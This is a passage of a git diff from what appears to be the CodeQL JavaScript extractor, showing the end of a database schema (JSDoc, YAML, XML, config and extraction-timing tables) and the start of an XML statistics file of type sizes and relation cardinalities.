@jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +// YAML +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + varchar(900) tag: string ref, + varchar(900) tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + varchar(900) anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + varchar(900) target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + varchar(900) value: string ref); + +yaml_errors (unique int id: @yaml_error, + varchar(900) message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + +/* XML Files */ + +xmlEncoding( + unique int id: @file ref, + varchar(900) encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + varchar(900) root: string ref, + varchar(900) publicId: string ref, + varchar(900) systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + varchar(900) name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + varchar(900) name: string ref, + varchar(3600) value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + varchar(900) prefixName: string ref, + varchar(900) URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property; + +@optionalchainable = @call_expr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/* + * configuration files with key value pairs + */ + +configs( + unique int id: @config +); + +configNames( + unique int id: @configName, + int config: @config ref, + string name: string ref +); + +configValues( + unique int id: @configValue, + int config: @config ref, + string value: string ref +); + +configLocations( + int locatable: @configLocatable ref, + int location: @location_default ref +); + +@configLocatable = @config | @configName | @configValue; + +/** + * The time taken for the extraction of a file. + * This table contains non-deterministic content. + * + * The sum of the `time` column for each (`file`, `timerKind`) pair + * is the total time taken for extraction of `file`. The `extractionPhase` + * column provides a granular view of the extraction time of the file. + */ +extraction_time( + int file : @file ref, + // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`. + int extractionPhase: int ref, + // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds + int timerKind: int ref, + float time: float ref +) + +/** + * Non-timing related data for the extraction of a single file. + * This table contains non-deterministic content. + */ +extraction_data( + int file : @file ref, + // the absolute path to the cache file + varchar(900) cacheFile: string ref, + boolean fromCache: boolean ref, + int length: int ref +) diff --git a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme.stats b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme.stats new file mode 100644 index 00000000000..f5520c0a9e2 --- /dev/null +++ b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme.stats @@ -0,0 +1,31622 @@ +<dbstats> +<typesizes> +<e> +<k>@svnentry</k> +<v>575525</v> +</e> + +<e> +<k>@location_default</k> +<v>15664049</v> +</e> +<e> +<k>@file</k> +<v>6457</v> +</e> +<e> +<k>@folder</k> +<v>1590</v> +</e> +<e> +<k>@duplication</k> +<v>6210</v> +</e> +<e> +<k>@similarity</k> +<v>21595</v> +</e> +<e> +<k>@externalDataElement</k> +<v>950</v> +</e> +<e> +<k>@toplevel</k> +<v>5320</v> +</e> +<e> +<k>@script</k> +<v>5200</v> +</e> +<e> +<k>@inline_script</k> +<v>86</v> +</e> +<e> +<k>@event_handler</k> +<v>31</v> +</e> +<e> +<k>@javascript_url</k> +<v>3</v> +</e> +<e> +<k>@angular_template_toplevel</k> +<v>100</v> +</e> +<e> +<k>@stmt</k> +<v>1096691</v> +</e> +<e> +<k>@empty_stmt</k> +<v>1136</v> +</e> +<e> +<k>@block_stmt</k> +<v>204994</v> +</e> +<e> +<k>@expr_stmt</k> +<v>610340</v> +</e> +<e> +<k>@if_stmt</k> +<v>68214</v> +</e> +<e> +<k>@labeled_stmt</k> +<v>1378</v> +</e> +<e> +<k>@break_stmt</k> +<v>10149</v> +</e> +<e> +<k>@continue_stmt</k> +<v>1642</v> +</e> +<e> +<k>@with_stmt</k> +<v>4</v> +</e> +<e> +<k>@switch_stmt</k> +<v>1569</v> +</e> +<e> +<k>@return_stmt</k> +<v>48209</v> +</e> +<e> +<k>@throw_stmt</k> +<v>2305</v> +</e> +<e> +<k>@try_stmt</k> +<v>1316</v> +</e> +<e> +<k>@while_stmt</k> +<v>3120</v> +</e> +<e> +<k>@do_while_stmt</k> +<v>1471</v> +</e> +<e> +<k>@for_stmt</k> +<v>5385</v> +</e> +<e> +<k>@for_in_stmt</k> +<v>1315</v> +</e> +<e> +<k>@debugger_stmt</k> +<v>3</v> +</e> +<e> +<k>@function_decl_stmt</k> +<v>16771</v> +</e> +<e> +<k>@var_decl_stmt</k> +<v>105606</v> +</e> +<e> +<k>@case</k> +<v>8674</v> +</e> +<e> +<k>@catch_clause</k> +<v>1272</v> +</e> +<e> +<k>@for_of_stmt</k> +<v>61</v> +</e> +<e> +<k>@const_decl_stmt</k> +<v>1118</v> +</e> +<e> +<k>@let_stmt</k> +<v>551</v> +</e> +<e> +<k>@legacy_let_stmt</k> +<v>1</v> +</e> +<e> +<k>@for_each_stmt</k> +<v>1</v> +</e> +<e> +<k>@class_decl_stmt</k> +<v>41</v> +</e> +<e> +<k>@import_declaration</k> +<v>8</v> +</e> +<e> +<k>@export_all_declaration</k> +<v>1</v> +</e> +<e> +<k>@export_as_namespace_declaration</k> +<v>5</v> +</e> +<e> +<k>@global_augmentation_declaration</k> +<v>5</v> +</e> +<e> +<k>@export_default_declaration</k> +<v>5</v> +</e> +<e> +<k>@export_named_declaration</k> +<v>31</v> +</e> +<e> +<k>@expr</k> +<v>5495305</v> +</e> +<e> +<k>@label</k> +<v>722373</v> +</e> +<e> +<k>@null_literal</k> +<v>15525</v> +</e> +<e> +<k>@boolean_literal</k> +<v>31652</v> +</e> +<e> +<k>@number_literal</k> +<v>557620</v> +</e> +<e> +<k>@string_literal</k> +<v>268843</v> +</e> +<e> +<k>@regexp_literal</k> +<v>2773</v> +</e> +<e> +<k>@this_expr</k> +<v>128651</v> +</e> +<e> +<k>@array_expr</k> +<v>28131</v> +</e> +<e> +<k>@obj_expr</k> +<v>50958</v> +</e> +<e> +<k>@function_expr</k> +<v>95744</v> +</e> +<e> +<k>@seq_expr</k> +<v>2457</v> +</e> +<e> +<k>@conditional_expr</k> +<v>8111</v> +</e> +<e> +<k>@new_expr</k> +<v>19023</v> +</e> +<e> +<k>@call_expr</k> +<v>487075</v> +</e> +<e> +<k>@dot_expr</k> +<v>602582</v> +</e> +<e> +<k>@index_expr</k> +<v>105192</v> +</e> +<e> +<k>@neg_expr</k> +<v>11993</v> +</e> +<e> +<k>@plus_expr</k> +<v>731</v> +</e> +<e> +<k>@log_not_expr</k> +<v>19385</v> +</e> +<e> +<k>@bit_not_expr</k> +<v>403</v> +</e> +<e> +<k>@typeof_expr</k> +<v>4540</v> +</e> +<e> +<k>@void_expr</k> +<v>51</v> +</e> +<e> +<k>@delete_expr</k> +<v>1310</v> +</e> +<e> +<k>@eq_expr</k> +<v>13468</v> +</e> +<e> +<k>@neq_expr</k> +<v>5338</v> +</e> +<e> +<k>@eqq_expr</k> +<v>17758</v> +</e> +<e> +<k>@neqq_expr</k> +<v>5818</v> +</e> +<e> +<k>@lt_expr</k> +<v>10254</v> +</e> +<e> +<k>@le_expr</k> +<v>1503</v> +</e> +<e> +<k>@gt_expr</k> +<v>5438</v> +</e> +<e> +<k>@ge_expr</k> +<v>2527</v> +</e> +<e> +<k>@lshift_expr</k> +<v>5655</v> +</e> +<e> +<k>@rshift_expr</k> +<v>27749</v> +</e> +<e> +<k>@urshift_expr</k> +<v>4331</v> +</e> +<e> +<k>@add_expr</k> +<v>88032</v> +</e> +<e> +<k>@sub_expr</k> +<v>10789</v> +</e> +<e> +<k>@mul_expr</k> +<v>14075</v> +</e> +<e> +<k>@div_expr</k> +<v>2496</v> +</e> +<e> +<k>@mod_expr</k> +<v>655</v> +</e> +<e> +<k>@bitor_expr</k> +<v>42853</v> +</e> +<e> +<k>@xor_expr</k> +<v>503</v> +</e> +<e> +<k>@bitand_expr</k> +<v>8538</v> +</e> +<e> +<k>@in_expr</k> +<v>1135</v> +</e> +<e> +<k>@instanceof_expr</k> +<v>1184</v> +</e> +<e> +<k>@logand_expr</k> +<v>15892</v> +</e> +<e> +<k>@logor_expr</k> +<v>12711</v> +</e> +<e> +<k>@assign_expr</k> +<v>245084</v> +</e> +<e> +<k>@assign_add_expr</k> +<v>6231</v> +</e> +<e> +<k>@assign_sub_expr</k> +<v>823</v> +</e> +<e> +<k>@assign_mul_expr</k> +<v>143</v> +</e> +<e> +<k>@assign_div_expr</k> +<v>44</v> +</e> +<e> +<k>@assign_mod_expr</k> +<v>17</v> +</e> +<e> +<k>@assign_lshift_expr</k> +<v>57</v> +</e> +<e> +<k>@assign_rshift_expr</k> +<v>86</v> +</e> +<e> +<k>@assign_urshift_expr</k> +<v>96</v> +</e> +<e> +<k>@assign_or_expr</k> +<v>586</v> +</e> +<e> +<k>@assign_xor_expr</k> +<v>108</v> +</e> +<e> +<k>@assign_and_expr</k> +<v>222</v> +</e> +<e> +<k>@assignlogandexpr</k> +<v>1</v> +</e> +<e> +<k>@assignlogorexpr</k> +<v>1</v> +</e> +<e> +<k>@assignnullishcoalescingexpr</k> +<v>1</v> +</e> +<e> +<k>@angular_pipe_ref</k> +<v>100</v> +</e> +<e> +<k>@preinc_expr</k> +<v>1792</v> +</e> +<e> +<k>@postinc_expr</k> +<v>7103</v> +</e> +<e> +<k>@predec_expr</k> +<v>457</v> +</e> +<e> +<k>@postdec_expr</k> +<v>774</v> +</e> +<e> +<k>@par_expr</k> +<v>86199</v> +</e> +<e> +<k>@var_declarator</k> +<v>130843</v> +</e> +<e> +<k>@arrow_function_expr</k> +<v>3730</v> +</e> +<e> +<k>@spread_element</k> +<v>50</v> +</e> +<e> +<k>@array_pattern</k> +<v>57</v> +</e> +<e> +<k>@object_pattern</k> +<v>122</v> +</e> +<e> +<k>@yield_expr</k> +<v>81</v> +</e> +<e> +<k>@tagged_template_expr</k> +<v>27</v> +</e> +<e> +<k>@template_literal</k> +<v>408</v> +</e> +<e> +<k>@template_literal_typeexpr</k> +<v>100</v> +</e> +<e> +<k>@template_element</k> +<v>639</v> +</e> +<e> +<k>@array_comprehension_expr</k> +<v>3</v> +</e> +<e> +<k>@generator_expr</k> +<v>1</v> +</e> +<e> +<k>@for_in_comprehension_block</k> +<v>1</v> +</e> +<e> +<k>@for_of_comprehension_block</k> +<v>3</v> +</e> +<e> +<k>@legacy_letexpr</k> +<v>1</v> +</e> +<e> +<k>@var_decl</k> +<v>250257</v> +</e> +<e> +<k>@proper_varaccess</k> +<v>1295408</v> +</e> +<e> +<k>@super_expr</k> +<v>11</v> +</e> +<e> +<k>@newtarget_expr</k> +<v>1</v> +</e> +<e> +<k>@import_meta_expr</k> +<v>1</v> +</e> +<e> +<k>@named_import_specifier</k> +<v>4</v> +</e> +<e> +<k>@import_default_specifier</k> +<v>4</v> +</e> +<e> +<k>@import_namespace_specifier</k> +<v>2</v> +</e> +<e> +<k>@named_export_specifier</k> +<v>5</v> +</e> +<e> +<k>@export_default_specifier</k> +<v>5</v> +</e> +<e> +<k>@export_namespace_specifier</k> +<v>5</v> +</e> +<e> +<k>@export_assign_declaration</k> +<v>5</v> +</e> +<e> +<k>@interface_declaration</k> +<v>5</v> +</e> +<e> +<k>@type_alias_declaration</k> +<v>120</v> +</e> +<e> +<k>@enum_declaration</k> +<v>252</v> +</e> +<e> +<k>@external_module_declaration</k> +<v>100</v> +</e> +<e> +<k>@external_module_reference</k> +<v>5</v> +</e> +<e> +<k>@expression_with_type_arguments</k> +<v>45</v> +</e> +<e> +<k>@prefix_type_assertion</k> +<v>1721</v> +</e> +<e> +<k>@as_type_assertion</k> +<v>368</v> +</e> +<e> +<k>@export_varaccess</k> +<v>15</v> +</e> +<e> +<k>@decorator_list</k> +<v>2575</v> +</e> +<e> +<k>@non_null_assertion</k> +<v>2159</v> +</e> +<e> +<k>@dynamic_import</k> +<v>5</v> +</e> +<e> +<k>@import_equals_declaration</k> +<v>5</v> +</e> +<e> +<k>@namespace_declaration</k> +<v>5</v> +</e> +<e> +<k>@namespace_scope</k> +<v>5</v> +</e> +<e> +<k>@exp_expr</k> +<v>14075</v> +</e> +<e> +<k>@assign_exp_expr</k> +<v>143</v> +</e> +<e> +<k>@class_expr</k> +<v>41</v> +</e> +<e> +<k>@scope</k> +<v>118172</v> +</e> +<e> +<k>@global_scope</k> +<v>1</v> +</e> +<e> +<k>@function_scope</k> +<v>116245</v> +</e> +<e> +<k>@catch_scope</k> +<v>1272</v> +</e> +<e> +<k>@module_scope</k> +<v>21</v> +</e> +<e> +<k>@block_scope</k> +<v>584</v> +</e> +<e> +<k>@for_scope</k> +<v>17</v> +</e> +<e> +<k>@for_in_scope</k> +<v>28</v> +</e> +<e> +<k>@comprehension_block_scope</k> +<v>4</v> +</e> +<e> +<k>@class_expr_scope</k> +<v>41</v> +</e> +<e> +<k>@class_decl_scope</k> +<v>2693</v> +</e> +<e> +<k>@interface_scope</k> +<v>200</v> +</e> +<e> +<k>@type_alias_scope</k> +<v>11</v> +</e> +<e> +<k>@enum_scope</k> +<v>252</v> +</e> +<e> +<k>@external_module_scope</k> +<v>100</v> +</e> +<e> +<k>@mapped_type_scope</k> +<v>10</v> +</e> +<e> +<k>@conditional_type_scope</k> +<v>100</v> +</e> +<e> +<k>@variable</k> +<v>364388</v> +</e> +<e> +<k>@local_type_name</k> +<v>23565</v> +</e> +<e> +<k>@local_namespace_name</k> +<v>20832</v> +</e> +<e> +<k>@property</k> +<v>142723</v> +</e> +<e> +<k>@value_property</k> +<v>140856</v> +</e> +<e> +<k>@property_getter</k> +<v>1529</v> +</e> +<e> +<k>@property_setter</k> +<v>338</v> +</e> +<e> +<k>@jsx_attribute</k> +<v>100</v> +</e> +<e> +<k>@function_call_signature</k> +<v>2458</v> +</e> +<e> +<k>@constructor_call_signature</k> +<v>37</v> +</e> +<e> +<k>@index_signature</k> +<v>504</v> +</e> +<e> +<k>@enum_member</k> +<v>2026</v> +</e> +<e> +<k>@proper_field</k> +<v>16934</v> +</e> +<e> +<k>@parameter_field</k> +<v>2693</v> +</e> +<e> +<k>@local_type_access</k> +<v>25491</v> +</e> +<e> +<k>@type_decl</k> +<v>2513</v> +</e> +<e> +<k>@keyword_typeexpr</k> +<v>25306</v> +</e> +<e> +<k>@string_literal_typeexpr</k> +<v>733</v> +</e> +<e> +<k>@number_literal_typeexpr</k> +<v>3</v> +</e> +<e> +<k>@boolean_literal_typeexpr</k> +<v>4</v> +</e> +<e> +<k>@array_typeexpr</k> +<v>4579</v> +</e> +<e> +<k>@union_typeexpr</k> +<v>852</v> +</e> +<e> +<k>@intersection_typeexpr</k> +<v>27</v> +</e> +<e> +<k>@parenthesized_typeexpr</k> +<v>62</v> +</e> +<e> +<k>@tuple_typeexpr</k> +<v>98</v> +</e> +<e> +<k>@keyof_typeexpr</k> +<v>3</v> +</e> +<e> +<k>@indexed_access_typeexpr</k> +<v>3</v> +</e> +<e> +<k>@qualified_type_access</k> +<v>3559</v> +</e> +<e> +<k>@import_namespace_access</k> +<v>100</v> +</e> +<e> +<k>@import_type_access</k> +<v>100</v> +</e> +<e> +<k>@import_var_type_access</k> +<v>100</v> +</e> +<e> +<k>@optional_typeexpr</k> +<v>100</v> +</e> +<e> +<k>@rest_typeexpr</k> +<v>100</v> +</e> +<e> +<k>@readonly_typeexpr</k> +<v>100</v> +</e> +<e> +<k>@bigint_literal_typeexpr</k> +<v>100</v> +</e> +<e> +<k>@generic_typeexpr</k> +<v>5220</v> +</e> +<e> +<k>@type_label</k> +<v>3559</v> +</e> +<e> +<k>@typeof_typeexpr</k> +<v>24</v> +</e> +<e> +<k>@local_var_type_access</k> +<v>24</v> +</e> +<e> +<k>@qualified_var_type_access</k> +<v>15</v> +</e> +<e> +<k>@this_var_type_access</k> +<v>20</v> +</e> +<e> +<k>@predicate_typeexpr</k> +<v>86</v> +</e> +<e> +<k>@interface_typeexpr</k> +<v>1038</v> +</e> +<e> +<k>@type_parameter</k> +<v>3463</v> +</e> +<e> +<k>@plain_function_typeexpr</k> +<v>1674</v> +</e> +<e> +<k>@local_namespace_access</k> +<v>4671</v> +</e> +<e> +<k>@qualified_namespace_access</k> +<v>20</v> +</e> +<e> +<k>@constructor_typeexpr</k> +<v>20</v> +</e> +<e> +<k>@mapped_typeexpr</k> +<v>20</v> +</e> +<e> +<k>@conditional_typeexpr</k> +<v>100</v> +</e> +<e> +<k>@infer_typeexpr</k> +<v>100</v> +</e> +<e> +<k>@comment</k> +<v>104947</v> +</e> +<e> +<k>@any_type</k> +<v>1</v> +</e> +<e> +<k>@string_type</k> +<v>1</v> +</e> +<e> +<k>@number_type</k> +<v>1</v> +</e> +<e> +<k>@union_type</k> +<v>1802</v> +</e> +<e> +<k>@true_type</k> +<v>1</v> +</e> +<e> +<k>@false_type</k> +<v>1</v> +</e> +<e> +<k>@type_reference</k> +<v>12383</v> +</e> +<e> +<k>@object_type</k> +<v>159099</v> +</e> +<e> +<k>@canonical_type_variable_type</k> +<v>650</v> +</e> +<e> +<k>@typeof_type</k> +<v>2903</v> +</e> +<e> +<k>@void_type</k> +<v>1</v> +</e> +<e> +<k>@undefined_type</k> +<v>1</v> +</e> +<e> +<k>@null_type</k> +<v>1</v> +</e> +<e> +<k>@never_type</k> +<v>1</v> +</e> +<e> +<k>@plain_symbol_type</k> +<v>1</v> +</e> +<e> +<k>@objectkeyword_type</k> +<v>1</v> +</e> +<e> +<k>@intersection_type</k> +<v>369</v> +</e> +<e> +<k>@tuple_type</k> +<v>307</v> +</e> +<e> +<k>@lexical_type_variable_type</k> +<v>50</v> +</e> +<e> +<k>@this_type</k> +<v>2731</v> +</e> +<e> +<k>@number_literal_type</k> +<v>1244</v> +</e> +<e> +<k>@string_literal_type</k> +<v>30638</v> +</e> +<e> +<k>@unknown_type</k> +<v>100</v> +</e> +<e> +<k>@bigint_type</k> +<v>100</v> +</e> +<e> +<k>@bigint_literal_type</k> +<v>100</v> +</e> +<e> +<k>@unique_symbol_type</k> +<v>100</v> +</e> +<e> +<k>@root_symbol</k> +<v>2385</v> +</e> +<e> +<k>@member_symbol</k> +<v>7223</v> +</e> +<e> +<k>@other_symbol</k> +<v>584</v> +</e> +<e> +<k>@function_signature_type</k> +<v>34698</v> +</e> +<e> +<k>@constructor_signature_type</k> +<v>2646</v> +</e> +<e> +<k>@slashslash_comment</k> +<v>76841</v> +</e> +<e> +<k>@slashstar_comment</k> +<v>8834</v> +</e> +<e> +<k>@doc_comment</k> +<v>19270</v> +</e> +<e> +<k>@html_comment_start</k> +<v>1</v> +</e> +<e> +<k>@htmlcommentend</k> +<v>1</v> +</e> +<e> +<k>@line</k> +<v>1622184</v> +</e> +<e> +<k>@js_parse_error</k> +<v>8</v> +</e> +<e> +<k>@regexpterm</k> +<v>33197</v> +</e> +<e> +<k>@regexp_alt</k> +<v>641</v> +</e> +<e> +<k>@regexp_seq</k> +<v>3371</v> +</e> +<e> +<k>@regexp_caret</k> +<v>826</v> +</e> +<e> +<k>@regexp_dollar</k> +<v>637</v> +</e> +<e> +<k>@regexp_wordboundary</k> +<v>99</v> +</e> +<e> +<k>@regexp_nonwordboundary</k> +<v>3</v> +</e> +<e> +<k>@regexp_positive_lookahead</k> +<v>15</v> +</e> +<e> +<k>@regexp_negative_lookahead</k> +<v>12</v> +</e> +<e> +<k>@regexp_star</k> +<v>1057</v> +</e> +<e> +<k>@regexp_plus</k> +<v>1067</v> +</e> +<e> +<k>@regexp_opt</k> +<v>478</v> +</e> +<e> +<k>@regexp_range</k> +<v>146</v> +</e> +<e> +<k>@regexp_dot</k> +<v>445</v> +</e> +<e> +<k>@regexp_group</k> +<v>1692</v> +</e> +<e> +<k>@regexp_normal_constant</k> +<v>15489</v> +</e> +<e> +<k>@regexp_hex_escape</k> +<v>59</v> +</e> +<e> +<k>@regexp_unicode_escape</k> +<v>264</v> +</e> +<e> +<k>@regexp_dec_escape</k> +<v>7</v> +</e> +<e> +<k>@regexp_oct_escape</k> +<v>1</v> +</e> +<e> +<k>@regexp_ctrl_escape</k> +<v>599</v> +</e> +<e> +<k>@regexp_char_class_escape</k> +<v>1573</v> +</e> +<e> +<k>@regexp_id_escape</k> +<v>2613</v> +</e> +<e> +<k>@regexp_backref</k> +<v>11</v> +</e> +<e> +<k>@regexp_char_class</k> +<v>1473</v> +</e> +<e> +<k>@regexp_char_range</k> +<v>619</v> +</e> +<e> +<k>@regexp_positive_lookbehind</k> +<v>15</v> +</e> +<e> +<k>@regexp_negative_lookbehind</k> +<v>12</v> +</e> +<e> +<k>@regexp_unicode_property_escape</k> +<v>12</v> +</e> +<e> +<k>@regexp_parse_error</k> +<v>122</v> +</e> +<e> +<k>@token</k> +<v>8770869</v> +</e> +<e> +<k>@token_eof</k> +<v>5312</v> +</e> +<e> +<k>@token_null_literal</k> +<v>15526</v> +</e> +<e> +<k>@token_boolean_literal</k> +<v>31654</v> +</e> +<e> +<k>@token_numeric_literal</k> +<v>557620</v> +</e> +<e> +<k>@token_string_literal</k> +<v>269555</v> +</e> +<e> +<k>@token_regular_expression</k> +<v>2773</v> +</e> +<e> +<k>@token_identifier</k> +<v>2268328</v> +</e> +<e> +<k>@token_keyword</k> +<v>551767</v> +</e> +<e> +<k>@token_punctuator</k> +<v>5068334</v> +</e> +<e> +<k>@json_value</k> +<v>1643352</v> +</e> +<e> +<k>@json_null</k> +<v>24</v> +</e> +<e> +<k>@json_boolean</k> +<v>654</v> +</e> +<e> +<k>@json_number</k> +<v>273113</v> +</e> +<e> +<k>@json_string</k> +<v>752355</v> +</e> +<e> +<k>@json_array</k> +<v>175925</v> +</e> +<e> +<k>@json_object</k> +<v>441281</v> +</e> +<e> +<k>@json_parse_error</k> +<v>1</v> +</e> +<e> +<k>@entry_node</k> +<v>121542</v> +</e> +<e> +<k>@exit_node</k> +<v>121542</v> +</e> +<e> +<k>@guard_node</k> +<v>177785</v> +</e> +<e> +<k>@jsdoc</k> +<v>19270</v> +</e> +<e> +<k>@falsy_guard</k> +<v>86336</v> +</e> +<e> +<k>@truthy_guard</k> +<v>91449</v> +</e> +<e> +<k>@jsdoc_tag</k> +<v>29323</v> +</e> +<e> +<k>@jsdoc_type_expr</k> +<v>22481</v> +</e> +<e> +<k>@jsdoc_any_type_expr</k> +<v>292</v> +</e> +<e> +<k>@jsdoc_null_type_expr</k> +<v>35</v> +</e> +<e> +<k>@jsdoc_undefined_type_expr</k> +<v>287</v> +</e> +<e> +<k>@jsdoc_unknown_type_expr</k> +<v>27</v> +</e> +<e> +<k>@jsdoc_void_type_expr</k> +<v>8</v> +</e> +<e> +<k>@jsdoc_named_type_expr</k> +<v>18639</v> +</e> +<e> +<k>@jsdoc_applied_type_expr</k> +<v>303</v> +</e> +<e> +<k>@jsdoc_nullable_type_expr</k> +<v>310</v> +</e> +<e> +<k>@jsdoc_non_nullable_type_expr</k> +<v>536</v> +</e> +<e> +<k>@jsdoc_record_type_expr</k> +<v>91</v> +</e> +<e> +<k>@jsdoc_array_type_expr</k> +<v>19</v> +</e> +<e> +<k>@jsdoc_union_type_expr</k> +<v>668</v> +</e> +<e> +<k>@jsdoc_function_type_expr</k> +<v>316</v> +</e> +<e> +<k>@jsdoc_optional_type_expr</k> +<v>895</v> +</e> +<e> +<k>@jsdoc_rest_type_expr</k> +<v>55</v> +</e> +<e> +<k>@jsdoc_error</k> +<v>1658</v> +</e> +<e> +<k>@yaml_node</k> +<v>885</v> +</e> +<e> +<k>@yaml_scalar_node</k> +<v>700</v> +</e> +<e> +<k>@yaml_mapping_node</k> +<v>149</v> +</e> +<e> +<k>@yaml_sequence_node</k> +<v>35</v> +</e> +<e> +<k>@yaml_alias_node</k> +<v>1</v> +</e> +<e> +<k>@yaml_error</k> +<v>1</v> +</e> +<e> +<k>@jsx_element</k> +<v>1090</v> +</e> +<e> +<k>@jsx_qualified_name</k> +<v>100</v> +</e> +<e> +<k>@jsx_empty_expr</k> +<v>100</v> +</e> +<e> +<k>@await_expr</k> +<v>100</v> +</e> +<e> +<k>@function_sent_expr</k> +<v>100</v> +</e> +<e> +<k>@decorator</k> +<v>100</v> +</e> +<e> +<k>@bind_expr</k> +<v>100</v> +</e> +<e> +<k>@bigint_literal</k> +<v>100</v> +</e> +<e> +<k>@nullishcoalescing_expr</k> +<v>100</v> +</e> +<e> +<k>@e4x_xml_anyname</k> +<v>100</v> +</e> +<e> +<k>@e4x_xml_static_attribute_selector</k> +<v>100</v> +</e> +<e> +<k>@e4x_xml_dynamic_attribute_selector</k> +<v>100</v> +</e> +<e> +<k>@e4x_xml_filter_expression</k> +<v>100</v> +</e> +<e> +<k>@e4x_xml_static_qualident</k> +<v>100</v> +</e> +<e> +<k>@e4x_xml_dynamic_qualident</k> +<v>100</v> +</e> +<e> +<k>@e4x_xml_dotdotexpr</k> +<v>100</v> +</e> +<e> +<k>@xmldtd</k> +<v>1</v> +</e> +<e> +<k>@xmlelement</k> +<v>1270313</v> +</e> +<e> +<k>@xmlattribute</k> +<v>1202020</v> +</e> +<e> +<k>@xmlnamespace</k> +<v>4185</v> +</e> +<e> +<k>@xmlcomment</k> +<v>26812</v> +</e> +<e> +<k>@xmlcharacters</k> +<v>439958</v> +</e> +<e> +<k>@optionalchainable</k> +<v>100</v> +</e> +<e> +<k>@nullishcoalescing_expr</k> +<v>100</v> +</e> +<e> +<k>@config</k> +<v>69795</v> +</e> +<e> +<k>@configName</k> +<v>69794</v> +</e> +<e> +<k>@configValue</k> +<v>69691</v> +</e> +</typesizes> +<stats> +<relation> +<name>svnentries</name> +<cardinality>575525</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>575525</v> +</e> +<e> +<k>revision</k> +<v>575525</v> +</e> +<e> +<k>author</k> +<v>19539</v> +</e> +<e> +<k>revisionDate</k> +<v>547759</v> +</e> +<e> +<k>changeSize</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>revision</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>author</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>revisionDate</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>changeSize</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revision</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revision</src> +<trg>author</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revision</src> +<trg>revisionDate</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revision</src> +<trg>changeSize</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>author</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7913</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2531</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1388</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>1523</v> +</b> +<b> +<a>6</a> +<b>10</b> +<v>1529</v> +</b> +<b> +<a>10</a> +<b>20</b> +<v>1509</v> +</b> +<b> +<a>20</a> +<b>52</b> +<v>1488</v> +</b> +<b> +<a>52</a> +<b>568</b> +<v>1466</v> +</b> 